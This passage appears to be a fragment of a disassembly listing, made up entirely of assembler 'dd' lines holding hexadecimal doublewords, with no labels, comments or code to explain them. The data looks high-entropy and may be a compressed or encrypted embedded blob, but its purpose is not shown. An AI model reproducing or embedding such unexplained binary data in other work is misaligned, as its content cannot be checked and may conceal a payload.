dd 0A8FD5532h, 25F9777Bh, 36BFF8Bh, 0CB9EF767h, 52FE4776h
dd 0FBDFF09Eh, 187D25B5h, 0F24CF979h, 32133040h, 97BE4E28h
dd 17FD9EC2h, 4B68F739h, 0F04045F0h, 0C5B67D84h, 8EC617F0h
dd 0CAD90319h, 62711C3h, 8B5E5745h, 0AEF3EC01h, 609917E0h
dd 35B7B84Bh, 473E0D4h, 0E3B3EC7Bh, 80EDF1CBh, 0CFADA662h
dd 5450B1D8h, 0FB39D5F9h, 776314Fh, 7FC4B8A9h, 0A93BF6BDh
dd 0E14D7598h, 70574211h, 468EAA0Bh, 9FEB14C1h, 79CB99D1h
dd 0C8CF5C3Ch, 19847861h, 53E8FB43h, 0BE3F46DBh, 4E2F83ABh
dd 0F38E9BA2h, 0FD14CAF1h, 78F98695h, 14A66D96h, 21E3709Eh
dd 0FC5BDB50h, 0E3CEB54Bh, 0E5FF46AEh, 2905E22Fh, 0DE530C48h
dd 9BCAB6C4h, 93BEFD32h, 3693637Eh, 2DD61DDCh, 542EBFA5h
dd 7545E920h, 59203BCBh, 0D7A9DC12h, 725F1ECh, 8C456E37h
dd 9D5807F8h, 0FCF9697Ah, 0A2E0DF8Dh, 2A2FCF31h, 6D4F297Eh
dd 0EFD9ABCCh, 0ABD21C1Bh, 0B09C0BCEh, 270312F8h, 81717CE2h
dd 45BF5613h, 3F53CBEDh, 7E3FC3CDh, 0A2E02901h, 6816550h
dd 0DE525FAAh, 0CCA2A41h, 0E57A8832h, 5A632449h, 0C81E74E9h
dd 0DFEBBB11h, 42AC29FCh, 90F1876Bh, 4EFC7C6h, 297A3A0Bh
dd 0F4D89B45h, 788594CFh, 789F1051h, 0C78CB04Fh, 171A9A36h
dd 13092DE2h, 1352F5BBh, 0AF0E65Fh, 9C86CB05h, 3CA5FCA7h
dd 0C4FF2160h, 4021617Fh, 95363373h, 0B91F936Ch, 4CAECD5Dh
dd 0BBBE137h, 0C1A2107Dh, 0BB03C97h, 23FC5E8h, 408579B2h
dd 0DFA63ACEh, 0B48B815Ah, 0B4253604h, 783932A7h, 412F34C2h
dd 27D74C5Dh, 0CBFAF351h, 2F0ACD9Ch, 0BC90A505h, 0B1FE62A6h
dd 1B7A361Ch, 0CA01359Dh, 57F81501h, 0F9B2D87Dh, 0B0245C40h
dd 29E644C6h, 2C419958h, 5F0527F0h, 17ED0C6h, 45D7E9D4h
dd 53720EEAh, 9B7FE0AEh, 0B5D421C2h, 0ECD486F8h, 446F9FF7h
dd 7BE9B951h, 30113E27h, 0D30D7589h, 0D5226C78h, 6013611Dh
dd 0C12EA08Fh, 0B83A9CAEh, 0BF1E7EBh, 9F6639A3h, 8B707C7Dh
dd 0ECA9EAE8h, 6803CE1Ah, 61B75100h, 8F12E8F5h, 354D774Ah
dd 913C1A6Ah, 49A9A14Eh, 0D7350D4Ah, 8229CB41h, 0D3BE3E71h
dd 1E762A2Bh, 7F4ADDDFh, 0AE142479h, 0F27B50BEh, 77DD7C29h
dd 75C38677h, 745FAF57h, 9E5DF48Dh, 2A3AA887h, 8FF7C323h
dd 15233BB8h, 28826A54h, 85A79096h, 0EBE96D97h, 0C26C5BCFh
dd 1748A6DBh, 0B571F3Ah, 0F8CFFBB1h, 44F048A1h, 55BBB521h
dd 0E33E8A79h, 4777F80h, 15114F92h, 834E5238h, 0D00524F6h
dd 2F2AE347h, 14CC57CAh, 397F3F60h, 77A46FBEh, 0FF21728Fh
dd 0E5F8CDBBh, 208EE323h, 0E2F95B46h, 0C1A3A62Bh, 0C97F8898h
dd 72BC7425h, 7E2FB074h, 0F58A08DEh, 0B30EEDBCh, 9EFF8140h
dd 91F7A239h, 585895C8h, 8DA49DFFh, 969C19BBh, 0A5D07791h
dd 0BAC0727h, 6FE8F32Dh, 6F30349h, 0DD08454h, 0F02826Ah
dd 534814B1h, 30FAE126h, 98E74EE6h, 0A918E77Ch, 0B6090D9Eh
dd 808E7E9Ah, 6020CCBh, 0A1030123h, 0BD0F9DBh, 0BE20F3A0h
dd 0FCF78388h, 2F4CF610h, 3F8CCABDh, 0E531B1A9h, 0B47F287Ch
dd 0E91FDCD0h, 8624EE06h, 8A7AD1BAh, 0B13D6EA1h, 1F864817h
dd 651F1789h, 0AD22FDD6h, 0D4E578BAh, 193F19B3h, 2AEB4B8Fh
dd 301B008Ch, 43034809h, 4F1BBA59h, 0B2A74022h, 0C60750B4h
dd 8B15C901h, 7AD83033h, 6C795E25h, 0D5D43398h, 0AF107B38h
dd 32477992h, 9DC428CBh, 0E6753F1Dh, 0E4784565h, 0DBBF573Fh
dd 0CF9DF1E3h, 0F16A2A4Bh, 94EB2905h, 42181369h, 0FA7F70F2h
dd 0FCD7CC85h, 0BF35A1Eh, 636EC597h, 4DFA8D46h, 0C13E99F2h
dd 0C57D46F5h, 19CB0CDCh, 0FE9E3C98h, 54A31460h, 545BDE99h
dd 0C9041011h, 9AF2296Bh, 0F6702Ah, 0D038B3C8h, 0EE9F608Eh
dd 2F57FD83h, 0B7B4EC9Eh, 83A9A063h, 563961F3h, 6B8B7BBBh
dd 72C38D9Fh, 8C6E7E1Eh, 14F41F51h, 9D02B065h, 977E388Dh
dd 6F246AE4h, 3313C98Dh, 113F0DFCh, 4F0515BCh, 0C3ABF4Bh
dd 0A25C53F9h, 0BD6D83BDh, 0D7BE8942h, 0A2E28AE3h, 9BC0BB34h
dd 0C3B53908h, 0F1EE3A13h, 0D7BF4FA3h, 953C1903h, 99BB74DCh
dd 9DC16082h, 300F8A79h, 0B1DBF614h, 9A825E6h, 0DA311A8Ch
dd 0DC0D4BE3h, 26D5682Ch, 0C3ED59BFh, 8DB7F713h, 8026C835h
dd 51775BEFh, 0EBFC72E0h, 0BB1B7E2Ch, 447476E1h, 0D3E42671h
dd 6EFBFAABh, 33443FC7h, 0A649846Eh, 0F92BEA58h, 8BDA92Ch
dd 7203FA34h, 0EE055B07h, 7B70F7BEh, 5B2161D9h, 5B6A9783h
dd 35B9B921h, 0D3CC2303h, 937E4090h, 833E58A6h, 0F0FC5F48h
dd 7C46DB70h, 267AC4CDh
dd 23B5A223h, 0BA31B0F8h, 1E0AE369h, 0FEC2D73Bh, 0AB3AA901h
dd 0B379B73h, 46D33D36h, 1E0E5436h, 3CEF3395h, 66B0E6FBh
dd 49B4F253h, 0ACEABBF9h, 0AEFA1BB8h, 794CF2Eh, 0F6A0B3B5h
dd 2F993C61h, 0E68E6FB2h, 0E9CB03B1h, 0FF00E6F0h, 783B17FBh
dd 0EDCABE8Eh, 2C1F644Dh, 0F4F727E7h, 0FFBFDADDh, 0D9D1E319h
dd 53A874CBh, 365F32C4h, 0E08E0BEh, 1A4663FAh, 0FC56B143h
dd 0ED058785h, 59BCB226h, 3F7522D3h, 0B3BEF98Fh, 3679DF30h
dd 33F2F766h, 849C90A2h, 0E618E1F9h, 0C69F5737h, 1D3EAFACh
dd 81B177BEh, 0E634E4B9h, 0B9B662BCh, 5EEBB900h, 9F332C59h
dd 0A4FB04DDh, 76423A74h, 0D3D994AFh, 0A93FB476h, 2A0C0C4Eh
dd 0B280E561h, 6D5AC34Eh, 0D9AEFE1Dh, 86752BE6h, 69547E47h
dd 0CCE4F40Bh, 0AE6FB78Bh, 38886CCFh, 525965F0h, 9E7CA7A0h
dd 0AC820A15h, 59D6BF84h, 4718CF6h, 0E2745226h, 0D11B2F65h
dd 0A7D5D652h, 7F0313A3h, 446DE4E6h, 794D933Ch, 8BE9E791h
dd 0A19F87ECh, 0D987B34Fh, 0CCD13C77h, 0DF0678BEh, 0EC9AF671h
dd 0DC4645A1h, 0A3C60559h, 899FEBB1h, 8B016A85h, 3E9761EEh
dd 66862183h, 0E433257Ch, 498D8A19h, 0FB40C57Eh, 0D1D3AAC4h
dd 0DA060975h, 0D079CB31h, 4272CE54h, 0A0736513h, 22B13791h
dd 0B200768Ch, 7F1B9707h, 0B32C210Bh, 0D870564Fh, 89D83101h
dd 1A5761Ch, 0DB0631BBh, 0D57B32Ch, 0E19FAFD8h, 465D5FE1h
dd 46074F28h, 4C5074F2h, 87991ADAh, 69311980h, 6D94CE33h
dd 308A72C9h, 0AFB5656Bh, 0A3440E9Eh, 67D1B168h, 7165F2Ah
dd 0BEF7666Bh, 6CB18C6Ah, 0D1FDEC55h, 6BECA5FFh, 0AEAE9BE0h
dd 6D2693FEh, 6824B403h, 45E582C1h, 22ABCA2Dh, 0A2DADA29h
dd 0A5441275h, 64340C1Ah, 0BB138A50h, 1FD9E32Ch, 0B5B87135h
dd 26A69A98h, 79E411FDh, 64370E86h, 64D8C828h, 0CA1150Eh
dd 6D65AD28h, 99058651h, 155A6154h, 0D54D6F5h, 2148A152h
dd 0F73DF3FFh, 0FA9BEBF7h, 9F3F5B3Ch, 0EE7B9EE6h, 97DDFDFBh
dd 0F73DCF73h, 28FFF79Ch, 0BDFC585Bh, 0EF955035h, 0E7DC00B2h
dd 6AE245BFh, 673A636Eh, 0EC94ED54h, 856A4AA9h, 0F79342D2h
dd 0C711F1ECh, 17D50523h, 910585EBh, 0D309B60Bh, 0E86216Fh
dd 0A24D3B3Bh, 6AE069EBh, 52D3C745h, 69FDA90Ah, 0F2765529h
dd 76552969h, 7B2969E2h, 4869F478h, 72CF7D9Eh, 12275596h
dd 0BCACE5D4h, 81F9E21Dh, 9689B3E9h, 77943B8Dh, 139841CDh
dd 19C8CDE1h, 7768EA0Ah, 816715D8h, 7D5EC885h, 0C0A27617h
dd 29D54458h, 2496D26Fh, 3AB3659Eh, 1C0AE6C5h, 906B0A13h
dd 0D1138455h, 0CB1BA36Eh, 0B00E55BAh, 74E01D7Eh, 2A40E4DEh
dd 2FFDEB12h, 6A3BBFB0h, 5D47267Bh, 45AA2BDFh, 34B45302h
dd 4F91DD09h, 0F60FC8CAh, 0BDE45E44h, 46324642h, 0F93465D3h
dd 0C2AB40E6h, 1CFA8A4Ch, 2CE935C2h, 0A97C986Ch, 0D1BBC5D3h
dd 6C213BE4h, 736F25D5h, 32A6AD6h, 0CB9DD4BAh, 0B9DCA770h
dd 3E5FDC64h, 7A973BC9h, 8B6A03CDh, 557CE056h, 34BCF079h
dd 0CD921755h, 95223C12h, 1A5D4920h, 0B62BA48Fh, 0F989A274h
dd 0A0766481h, 9CE18D6h, 2A6119D4h, 1125A40Ah, 0DF269CDh
dd 0DA5F929Ch, 16D50E50h, 4C8CEB7Ah, 0BA1CB863h, 0D906703Ah
dd 67CE9C05h, 0BD6723A4h, 152558C2h, 96B7ADF1h, 0D40E6A82h
dd 92C6C140h, 66619247h, 0F545B1E6h, 0D6501A81h, 5D84673Ah
dd 650EB5EFh, 278824B4h, 0C3247D6h, 7C0BD1E1h, 922578A6h
dd 9B035344h, 0A689D2E1h, 8B6CE12Ch, 799592BEh, 0C8F5AFF0h
dd 7EAB412Eh, 8B53D9F1h, 6588BFBEh, 0FECB116Ah, 4D5822C3h
dd 2DF6FF08h, 3F2F9542h, 0E358AA24h, 0DB8077B7h, 63CF9F44h
dd 0FC960E8Ch, 0B006F2CFh, 0AAED0A3Eh, 7E2800F2h, 0E281EB1h
dd 0AD9F9AD6h, 23E3AAABh, 0CE78F5BDh, 36134CC2h, 0E7D715BAh
dd 39315E8Ch, 5B9F93B2h, 0B63220CDh, 0AC6E1972h, 4BF3B52Fh
dd 0BD110C9Bh, 0F36ABD5Dh, 0D02DB90Eh, 5D1DCC60h, 0AD752EFAh
dd 0D4A6D5B4h, 0CCB0CF47h, 0A666951h, 0F9049D7Dh, 3A5AE3E0h
dd 56929FAAh, 8AD4D207h, 79C47A9h, 48B1DF70h, 0EF8F7E95h
dd 27A35544h, 3C6DA161h, 6EF9DC5Fh, 0BC406F2Bh, 7C4BCDC0h
dd 0AE0EF896h, 23F8A1D1h, 27593146h, 0FAA7FFCFh, 4FB536B6h
dd 0F3CD944Eh, 430CF007h, 9858103Bh, 0B308B7BEh, 0D4A710FAh
dd 0C35EDF16h, 0A912C98Fh, 0B9C1F14Dh, 46CABB37h, 18D46646h
dd 0DBC65995h, 2109E969h, 2BC21C2Ch, 0B8272837h, 2533F4B9h
dd 92A4B029h, 0C0A4FF08h, 0A6857E26h, 0DABB8ED3h, 0A05E289Dh
dd 230A03A1h, 6ED07591h, 0C8CB88D1h, 867924ACh, 655339DBh
dd 56FBADC1h, 0FFD6E0B2h, 0A6C0568Dh, 5FE54378h, 0A86D9A70h
dd 5E7493FCh, 0DCAE1380h, 0E561A383h, 66FC2498h, 0FF3A6FF0h
dd 8F2FD1A6h, 68492678h, 212B87D8h, 0BB5E219Dh, 60B8FC1Dh
dd 29D23BDCh, 7CA8A8AAh, 0C721C8BBh, 0AE570F69h, 5CE3F843h
dd 0EAC365BCh, 9F8B061Dh, 0CAA1A44Eh, 0F7157h, 4C835E6Dh
dd 62C92878h, 6C01BE71h, 5134CF2Ah, 0BB02B2C7h, 783D11Ah
dd 105AF7D4h, 9FC68302h, 9E43D441h, 0C65DF0FCh, 9996471Fh
dd 2936BF22h, 417E9C6Fh, 0E6E5F109h, 51F9BE36h, 1CCDDE18h
dd 0C93C37DDh, 7C205FA7h, 0BAA06302h, 1BF60DE3h, 0F6E86FD8h
dd 946FD91Bh, 0EE04257Eh, 0AB1B644Fh, 75585402h, 0B755884Bh
dd 25BAAC28h, 145BAAC4h, 6212DD56h, 0AB0A2DD5h, 2AB1096Eh
dd 8C798502h, 50C1BE21h, 9096EAA4h, 0F22A31E4h, 75884429h
dd 94CEECB6h, 785E7838h, 70EA84A1h, 0EBF1A32Dh, 0A72D1D62h
dd 8ACCAB09h, 0A68AC3D9h, 74D145ABh, 0AE9A28B5h, 0F7870516h
dd 274446C0h, 0BA781207h, 5B8AC288h, 0F5F46046h, 83A33E3Ch
dd 84C97BCDh, 74A5C5FEh, 3F1F473Ah, 8EC24E0Ch, 315A8835h
dd 8EE00683h, 651F00B5h, 17F00FD0h, 0BC00560Ch, 8EFE419Fh
dd 10C19F3h, 3970602Ch, 58311FC0h, 19C6F00Ah, 594FD2FCh
dd 0E0BE4D55h, 0F1ADC881h, 0EF402570h, 6AD56510h, 2E559994h
dd 0F7819D2Eh, 3BE22797h, 2D8DF356h, 0FC02F627h, 4E1C36F6h
dd 927EEE34h, 1EBA8D26h, 83F69B23h, 0FADC789Dh, 0EE42F6B0h
dd 9FFDB890h, 1CA0D3B0h, 38011272h, 0B183A749h, 0B1CDE536h
dd 0DA3E68EBh, 57E86BDDh, 0E42753D4h, 471460D4h, 4B3B2C78h
dd 2851292Fh, 843BBB27h, 0D06FC1E0h, 64EA9CDEh, 0C059540Fh
dd 8C0EE4AAh, 4AD92970h, 7D0B9E87h, 6A734B04h, 926A5810h
dd 7324B801h, 63A5DDDAh, 1A836571h, 19CB98Ah, 24F7CA26h
dd 0D26EFF4Dh, 87493D65h, 0E7855253h, 0AE36E58h, 1C7E2CC3h
dd 0B265EFF4h, 0A39327B8h, 0D304C84Dh, 6F84B3D5h, 0F7BE192Bh
dd 0B4E7B399h, 558FE6BCh, 0D4E4B2F3h, 0AF377C64h, 85793DD9h
dd 0BF43989Ah, 50E6530Ah, 9629D6D8h, 83539410h, 2607428Fh
dd 8CA730EFh, 796EF787h, 216BCBE8h, 502C3371h, 3A7719D0h
dd 93E6A319h, 4F84DFh, 0D1DEDDC3h, 0A1CB6C74h, 0CE8196C3h
dd 94D85478h, 28A7489Eh, 4A12F452h, 4C970BD8h, 63C6AC38h
dd 33BAA8B0h, 0A4BE027Bh, 0A724A155h, 0EF30AC06h, 453D1E0Dh
dd 7B935979h, 0E561DFEDh, 8C525D65h, 0C4D2F80Bh, 8B9431EAh
dd 0A04D1ED3h, 193D2C92h, 0B08DB3Eh, 18353905h, 4A9C2BA6h
dd 6BA61CA5h, 0A639D529h, 58E4522Ch, 3A678F20h, 7BE53B79h
dd 0AF46DCAFh, 0AD9C24A1h, 136A0534h, 0F97BBECEh, 4D55E701h
dd 0BB1CD232h, 86F1EF9Ah
dd 0DCB6FC78h, 0F4B6C8F5h, 0EE1DF14Fh, 25B1F2BEh, 509A394Ah
dd 98FE3D32h, 3CC2A46Fh, 8ACEF345h, 0D02CB15Bh, 36707309h
dd 935E78ADh, 6A3F3F47h, 0F3C4EF30h, 728EF34Ch, 3D67CE30h
dd 9D16AD0Ah, 8A4CC7FAh, 0AFFB3831h, 0E6580B06h, 4E3AF94Ah
dd 59041DE6h, 719B81B5h, 46BC0B87h, 4A2489Bh, 8E73350Bh
dd 21D0F400h, 0A09BE555h, 32FC49F0h, 0D573AF57h, 4ECDAD4Fh
dd 1BEC5AC4h, 0C6089D96h, 0F5B06FA7h, 8BF97648h, 0D79ADDA8h
dd 0D8A75EABh, 0F8594180h, 66625E6Bh, 95559DF9h, 0E606457Fh
dd 0AAED959Dh, 42EAB9FBh, 50BD9C33h, 99652E54h, 4753DA0Dh
dd 0C36E5765h, 0A3C4BB77h, 3CAC45C7h, 8E9F4ED7h, 0B5A9AB0Bh
dd 0E9B7EA8Bh, 5D96699h, 0C4E2D74Dh, 0C49C2819h, 0DB9459C8h
dd 0C4E248F4h, 2D8EA526h, 9AC3CECFh, 42ECA320h, 0D493D494h
dd 62208A0Bh, 0EEA7B303h, 7589A491h, 0D48C0B4Ah, 0FC659649h
dd 14CAC4D8h, 0F6BE990Ah, 0A4E7A226h, 7447D62Dh, 0BC097F92h
dd 0C4F166F2h, 2F46E47Fh, 74545DAFh, 3E82DD55h, 93EDEFD9h
dd 0CEDFE5BDh, 0CE1FB2FEh, 0A300689Eh, 7F7C8ECAh, 72EE3C63h
dd 6E476269h, 0CAD0AC6Ch, 6150D443h, 3953BD6Eh, 5F8CBDE5h
dd 229D2BF1h, 0CB4F5732h, 0F0712FC2h, 0F223577Fh, 0D2EA6BC1h
dd 34174D78h, 37E4935Eh, 12D37BD7h, 2354EC59h, 30B78D7Eh
dd 0D50227D3h, 0F167E190h, 2CFC351Eh, 0B6E23A18h, 8ECAD03Ah
dd 0AC211048h, 162EDC60h, 575D646Eh, 6C87D537h, 0ECA2EF71h
dd 0C1F01BF5h, 370488AEh, 57538E49h, 3314F08Fh, 121B93CBh
dd 2F501AF1h, 8272492Fh, 6BDC28DBh, 0DF7ADCCh, 0D682B996h
dd 0A60AFA98h, 817048ECh, 0CF25297Dh, 951EA45Dh, 448E13Ch
dd 0FBCD1195h, 8B63C0E8h, 78E372ABh, 1D3E798Ch, 0A9AB05Ch
dd 0CBEE7DD6h, 5CFCDF12h, 88F1698Fh, 486FA3C3h, 0BD030E84h
dd 61815398h, 0C13C362Eh, 393115Ch, 986089F7h, 7B388838h
dd 9CBAF698h, 0F31E9891h, 0E4F782F6h, 4F2704B3h, 9A3254A1h
dd 0A4D68DAFh, 0F50A7691h, 0CE4E090Dh, 2F007E02h, 0F2A50B24h
dd 90768CFCh, 0FC884576h, 0BE53B896h, 83F7ADA6h, 0C4BEC3Dh
dd 0D47D00Ch, 0FA2E2B81h, 0D5FA30EFh, 71EB28EBh, 7ACE4967h
dd 0CC1E8F5Eh, 0E793C91Eh, 7923D967h, 10E7DCF2h, 0EB45F269h
dd 19202E20h, 4513928Fh, 975EBA66h, 97841EBDh, 0CA4BE9D2h
dd 0E699985Eh, 1F4291BDh, 0D985B3C2h, 0E9BEF544h, 98E7084Dh
dd 893AAE77h, 7C73854Bh, 0B73DCB90h, 97394122h, 9307DE7Bh
dd 3165B875h, 59F227AFh, 0D02C535Eh, 94A34028h, 291EB795h
dd 47CDF9C9h, 434F662Ch, 4DDF5126h, 75E7855Fh, 8BBC9C41h
dd 0DD2DC9C5h, 0A308DA5Ah, 26FF0D67h, 41A2B99Dh, 4E85611Bh
dd 0C63463CFh, 0EC63682Eh, 0A0C63682h, 0B8F58208h, 8A386D85h
dd 0DDAF86C1h, 0C87F171Ah, 94E5D04Bh, 0DE5CB975h, 975940A4h
dd 0EFF4E7C1h, 88178AFEh, 83A04A71h, 0DAFC1B69h, 8D3285EDh
dd 0EED8EB7Bh, 2DCA6C37h, 0AF443CB4h, 50A4048Eh, 0D3611ABEh
dd 0DC8F5ED8h, 71F341B0h, 0EBEE33ADh, 488375E2h, 863EAF9Ah
dd 22793876h, 65FAC0BCh, 98D35BC5h, 28BC532Bh, 0F788A16Ah
dd 96EC4FE2h, 3216BE38h, 64972CEFh, 2FAB7FD8h, 0C23FCA0Dh
dd 0D7A0E9E5h, 0BF18E5ADh, 0E7AA3D20h, 0BDEAD266h, 4D813726h
dd 98CF06ACh, 0E00E2Bh, 85C95E23h, 0CBA27144h, 982EF8FCh
dd 8A1670A7h, 1DCCB90Dh, 1768583Ah, 0E5101785h, 0C2CC4249h
dd 0CCC24B23h, 30194C60h, 0D421ED40h, 20F28CF5h, 580611Fh
dd 0BC8DC209h, 8B37F6A0h, 0FCFEEFBh, 0C71EB705h, 1E593DE1h
dd 1E42FFDEh, 0B5276465h, 773F3B97h, 0E6810764h, 6B6C14C0h
dd 4439E5B4h, 0F2C40475h, 0B17639F9h, 0D665822Ah, 53AF9D42h
dd 5265A45Ah, 0F2F102EAh, 0D0CCD04Dh, 0BEC2C4A5h, 58A1470Eh
dd 0DC6B5E47h, 0A4E5D450h, 554F09F2h, 46065D28h, 0F48F6D8Dh
dd 0B6FA42FDh, 65E2DF4Ah, 0A9F20D58h, 0B8894E91h, 60641967h
dd 0B10522BAh, 49199139h, 2371769Dh, 2A9DA057h, 302B9930h
dd 0E62CBCA6h, 0EA5E74CEh, 0D65E515Bh, 0EB6F6E7Eh, 0C1AF9F56h
dd 91F4836h, 6FCF3D6Eh, 0D0C43A94h, 0EEBF608h, 7C7E2315h
dd 1BA87693h, 0BBC6E11Fh, 8BCBE20Fh, 78E13759h, 0DE2471CFh
dd 5471A62Eh, 4F15F44Bh, 3F751ABEh, 94C53AA2h, 0C0C5A1FFh
dd 2906AEEEh, 758995F2h, 178A146Eh, 90741273h, 2B997625h
dd 0CAA02AA0h, 0B598A836h, 16EA2C93h, 1196C4F6h, 34EEA7E0h
dd 0A16E466Fh, 5C30BCF5h, 0F8AE65D0h, 1AB48D03h, 0F4CA9DA0h
dd 0D9B100Eh, 0B37229F1h, 6F1A74FAh, 6FC50FB4h, 0C0FA1EF8h
dd 0F643CCDDh, 63915518h, 3B106FC7h, 2C3AF1A6h, 29531EA3h
dd 6A19DC14h, 30ED7148h, 142AAEAEh, 62EC11CDh, 95DD5526h
dd 846979AFh, 3EA33D13h, 0E9073761h, 6F6D100Bh, 0C99EB2EBh
dd 4B44C6D9h, 217CEF41h, 3497E276h, 787136CCh, 0F5F63CA8h
dd 0FB2DBCC9h, 0A253993Bh, 599CB999h, 0D88BABE9h, 0E5B764DAh
dd 9E8D2270h, 5700E1C1h, 716F311Ch, 8FE1C8F6h, 74E6CAD3h
dd 0D0022434h, 0F8937B8Bh, 93D3B766h, 1475B110h, 19E6B0D7h
dd 0DE224D0Ch, 0E15D45C2h, 0F3310EB2h, 7342D66Eh, 0E6DB5F29h
dd 37D3ADAh, 91D3121Ah, 0C1DC3A36h, 0E741C6F6h, 9D7A9DB9h
dd 1ECB1052h, 0D7361089h, 0A394A49Dh, 282BB95Ch, 784D330Bh
dd 0E2AACFA7h, 8BC8F182h, 6F79DE38h, 2099A651h, 0D94498A2h
dd 6A3BCD5Bh, 977D1B73h, 9DEA6644h, 0F6A279F6h, 0D546D46h
dd 8A48EF30h, 0D1F49378h, 21CE8F16h, 5FA3F677h, 3CA0B8C1h
dd 88E1173Eh, 65FF6D84h, 6782419Ch, 9DE0529Ch, 998852B7h
dd 33AAC06Eh, 0CE9B5958h, 5731A07h, 873F08CCh, 11D61ACBh
dd 64AEFB90h, 0CEA555A2h, 7DB41422h, 39E35BE7h, 9DD22BD9h
dd 0F5C43FCAh, 9965101Fh, 2DE2DB94h, 393004E1h, 0B9742827h
dd 823E4571h, 0B7C168A7h, 8DCBC1ABh, 0C7459FA5h, 18F8C542h
dd 0A2386D19h, 8DA2D00Dh, 0B94D15E9h, 820348DBh, 55FC13EAh
dd 2D41BE5Ch, 5EAF505Ah, 426A0624h, 46C6D7Ch, 8EE253Dh
dd 0D93906F0h, 2F087D3Fh, 56EEA9F7h, 0F7592CCh, 0EF3F2E0h
dd 0EEBD8E8Fh, 70F43DA3h, 72E0F64h, 148D6FC4h, 0B9213681h
dd 6568EE5Ch, 0BCD9B502h, 5750C1B3h, 3E4D8E52h, 9BC07835h
dd 0E1EE4778h, 0CDB98C87h, 0FD01AD0Fh, 0FD33C586h, 79C2CA2Ah
dd 35BA8243h, 0B8445E4Ah, 82C693A8h, 8F1D5A38h, 8A4A246Bh
dd 0C53655Dh, 7A4AB3FDh, 96022244h, 838C7E1Fh, 0A1A99146h
dd 0DE878412h, 28A72E37h, 1A9577C5h, 0DA7BF8F7h, 0F251B483h
dd 0DC8278F2h, 0A2E3BD70h, 9D8E6063h, 0B7B38163h, 70F330E2h
dd 677FB886h, 0E5FCEAA2h, 884A6A7Eh, 0CF491929h, 0F2F62B98h
dd 866340B9h, 99817B3Ch, 0DBA77639h, 19725387h, 0A3CBEFE2h
dd 38DC3A8Ah, 0C63BBA4Eh, 87B743F2h, 0B8346CF1h, 0DCBD6F85h
dd 198AE242h, 761C8C87h, 97EB839h, 0A62E4C51h, 1EED2B58h
dd 53DD2216h, 2F175632h, 0B1AB4E99h, 0B605EB5Dh, 9FE97C40h
dd 97502CB4h, 0BAE2FF79h, 4E60F464h, 6A51816Fh, 0D4AA13F1h
dd 1B6FAABh, 0D66C9794h, 4EF93F3Bh, 0F5D53EB3h, 28DFD66Eh
dd 0F0152161h, 0D02CEA77h, 8BAF6673h, 0E8D9C37Ch, 2A10CFACh
dd 99176732h, 0D7B333BDh, 7E11610Fh, 89CEE585h, 0BA2269BAh
dd 0BFCB0F7Bh, 5748B578h, 0BDC5CE04h, 0BA952997h, 74E30824h
dd 963E73F0h, 682354E4h
dd 0FF5B7D3Dh, 40E9792Ah, 4945FE05h, 8907148Eh, 0BE7EA7C8h
dd 0FDAACA01h, 0BDA101CCh, 977D9F1Bh, 6F473E24h, 0DC2F5346h
dd 2368FA07h, 565F434Bh, 0E8175CF2h, 0A844DCC5h, 84D87C51h
dd 0D44F5CF6h, 1F671561h, 39872C89h, 0E43BE194h, 0AF13C235h
dd 0D49632F5h, 4D026FFh, 4E7F79D6h, 0A32EF852h, 0C2ED2364h
dd 85FA79E2h, 0DF0BCC5Dh, 0C8B2AB86h, 0CB30BE6Eh, 0AA088307h
dd 0BF4FC8D6h, 4136E62Eh, 0B098F427h, 43A13AC2h, 0E15A13ACh
dd 0B86DF0BBh, 0C6EC8FA3h, 0CF4452Fh, 0CD5B6C8Ch, 1112D588h
dd 5ECD56D9h, 7F40BEFCh, 0CD49A84Ah, 869D7589h, 74E720Eh
dd 98666E19h, 0D621C679h, 8B30ACFAh, 69DCC43Ah, 869BD585h
dd 0C2B3EB58h, 0B5B79F5Ah, 0C3ADCE72h, 73422AD5h, 6D61585Bh
dd 0C25A1CFh, 0E4388F33h, 0B9999866h, 0B30CA5A1h, 32D0E7DAh
dd 73F35986h, 54B0CBC8h, 0C5621CFEh, 0EA4561CFh, 4AFD0E7Fh
dd 0E80AA4FAh, 0A7595490h, 21A62D48h, 914EB6A9h, 52434C5Ah
dd 5AC29D73h, 6B8F434Ch, 8A43A80Ah, 0D15A13A6h, 9A2B4274h
dd 0D345684Eh, 9D48AD09h, 69F30AD0h, 0C3DABC4Fh, 1CA692C9h
dd 0B1E0B2B1h, 0EAD0D02h, 976E1416h, 0CBE5DD07h, 6C53E8C5h
dd 0B1694AD9h, 62ECA07Eh, 4C515C7Eh, 8142229Ch, 0AE874399h
dd 74298C4Ah, 13B46DEAh, 44CB41F9h, 978BD398h, 4CF1B1A4h
dd 58248D7Fh, 0F1946807h, 0DB9C7C25h, 21C78B11h, 0AA56DC01h
dd 9EF024D7h, 870A40FDh, 0CBB360CFh, 5A9B580Bh, 77C2BC81h
dd 6265AF0h, 6AB415FEh, 0A9C99680h, 26053656h, 74DAC2CBh
dd 846E2C8Bh, 0CA254779h, 0CFA5DC8Bh, 60A5F3ADh, 96AD9C0Fh
dd 7FA3D774h, 0EA75B469h, 0E65BAB55h, 0E05C01A0h, 6FBD4EB2h
dd 6C4499C0h, 0CBBE0933h, 0E6E3E20h, 0A248D842h, 178AE6F4h
dd 29498DB4h, 23EDA4E8h, 6AF5242Fh, 3A422CC8h, 0F4E742CEh
dd 0ACCDDE0Eh, 0CBC537DBh, 3118742Dh, 413D06CBh, 57FBE330h
dd 80A47FF6h, 0EB628E4Bh, 0C558EF34h, 73EBB5F5h, 0A3E9E8DFh
dd 275AC1D1h, 49F977DBh, 0A66D9F0Bh, 4B47C8B7h, 5B64AFFEh
dd 2A981820h, 72BCADF7h, 5E3B1869h, 5F0E69D0h, 0D3529719h
dd 514AF1BEh, 276B294Ch, 8506A16Ah, 0E58B3CAAh, 0C8BB7AD6h
dd 40798AFBh, 0A95407A8h, 8D4447ABh, 74BC378h, 0D3EE2D3Ah
dd 674546D1h, 5D74D176h, 0B619CE82h, 8FB141Dh, 0E133A7D8h
dd 0A726FDDDh, 0F7A25978h, 1D72D88h, 2D2AA2D3h, 5D9E44B4h
dd 0B315F309h, 79F92996h, 0F1A3E363h, 3129A064h, 42DE2974h
dd 0C28D7008h, 9D4A93B6h, 0AD629052h, 809C170Bh, 0FD1BBA8h
dd 0DB61AF83h, 3AC148BAh, 6C7DC9F1h, 0E74E8DBEh, 0B56A19C7h
dd 4C38A76h, 65AD3B59h, 40DCE129h, 5D8611BDh, 1A0FB9FFh
dd 97336111h, 0D7DC61C6h, 0A4FF462Ah, 0F3A22F47h, 0EFB8A9ECh
dd 9E126504h, 7A922AD7h, 0AE83EC05h, 94A7B3C4h, 358CA0B7h
